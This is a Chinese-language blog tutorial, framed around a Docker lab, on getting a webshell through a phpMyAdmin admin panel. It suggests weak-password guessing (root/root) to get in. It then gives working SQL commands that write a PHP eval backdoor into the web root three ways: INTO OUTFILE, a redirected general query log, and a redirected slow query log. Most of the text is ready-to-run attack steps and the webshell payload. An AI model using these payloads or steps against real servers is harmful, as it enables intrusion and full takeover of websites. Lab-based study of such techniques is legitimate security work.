本文最后更新于456 天前,其中的信息可能已经过时
关于PHPMyAdmin
PHPMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。 它跟其他PHP程序一样在网页服务器上执行,可以在远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。 一般我们在通过对目标进行信息收集、目录扫描后,发现存在phpmyadmin后台,可通过弱口令(可以直接尝试下账号root密码root)或者暴力破解等多种技术进入管理后台。
靶场搭建
docker 下载镜像
docker pull registry.cn-hangzhou.aliyuncs.com/cnhongke/phpmyadmin:v06.30
创建最新版容器
docker run --name cnlamp -p 8080:80 -p 3306:3306 -d registry.cn-hangzhou.aliyuncs.com/cnhongke/phpmyadmin:v06.30
#映射端口需要结合实际情况自行设定
docker ps -a
获取phpmyadmin账号密码
docker命令
docker logs cnlamp
靶场截图
phpmyadmin地址:http://192.168.153.129:8080/phpmyadmin/
phpmyadmin截图:
一:直接写入shell文件
outfile和dumpfile写入shell 文件的区别
outfile:
--支持多行数据同时导出
--使用union联合查询时,要保证两侧查询的列数相同
--会在换行符制表符后面追加反斜杠
--会在末尾追加换行
dumpfile:
--每次只能导出一行数据
--不会在换行符制表符后面追加反斜杠
--不会在末尾追加换行
#因此我们平时直接写入命令的时候使用outfile即可,特定环境需要写入二进制文件时使用dumpfile。
利用条件
--对web目录需要有写权限能够使用单引号(root)
--知道网站绝对路径(phpinfo/php探针/通过报错等)
--secure_file_priv没有具体值
查询路径与查看secure_file_priv的信息
--select @@basedir; 查找绝对路径
--show global variables like '%secure_file_priv%'; 查看有没有配置 secure_file_priv 功能
--NULL 表示不允许导入或导出
--/tmp 表示只允许在 /tmp 目录导入导出
--空 表示不限制目录
select 写 shell
select "<?php @eval($_POST['123']);?>" into outfile '/网站绝对路径/shell.php'
#网站绝对路径可借助phpinfo查看
#如果是linux服务器盲猜路径 /var/www/html
成功连接Shell
二:日志文件写 shell
在mysql中,查询语句会被写入到日志文件中去,可以通过phpMyAdmin后台执行sql语句开启日志功能,修改日志存储文件
利用条件
--root权限
--知道网站绝对路径
general_log模式
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容那么就可以成功 getshell。
--SHOW VARIABLES LIKE '%general%'; 查看配置默认是关闭状态
--set global general_log = on; 开启general_log模式
--set global general_log_file='日志路径/shell02.php'; 修改日志目录为shell地址
--select "<?php @eval($_POST['123']);?>" 写入shell因为开启了日志记录功能,所执行的sql语句都会被记录在日志中
配置写马条件
select 写 shell
select "<?php @eval($_POST['123']);?>"
成功连接Shell
三:慢日志文件写 shell
在mysql中,查询超过10秒的语句会被写到慢查询日志文件中去,一般默认是不开启的。利用这个特性就可以进行文件写入。
优势:数据库业务大的网站,几秒钟全局查询日志巨大,访问shell文件就会提示500错误,通过慢查询日志可以避免这个问题。
利用条件
--root权限
--知道网站绝对路径
慢查询日志开放及写马命令
--show variables like '%slow_query_log%'; 查看慢查询日志开启情况
--set global slow_query_log=on; 开启慢查询日志
--set global slow_query_log_file='绝对路径/shell03.php'; 修改日志文件存储的绝对路径
--select "<?php @eval($_POST['123']);?>" or sleep(10); 向日志文件中写入shell
#使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
--show global variables like '%long_query_time%';
配置好写马条件
set global slow_query_log=on; 开启慢查询日志
set global slow_query_log_file='/var/www/html/shell03.php';
select 写 shell
select "<?php @eval($_POST['123']);?>" or sleep(10);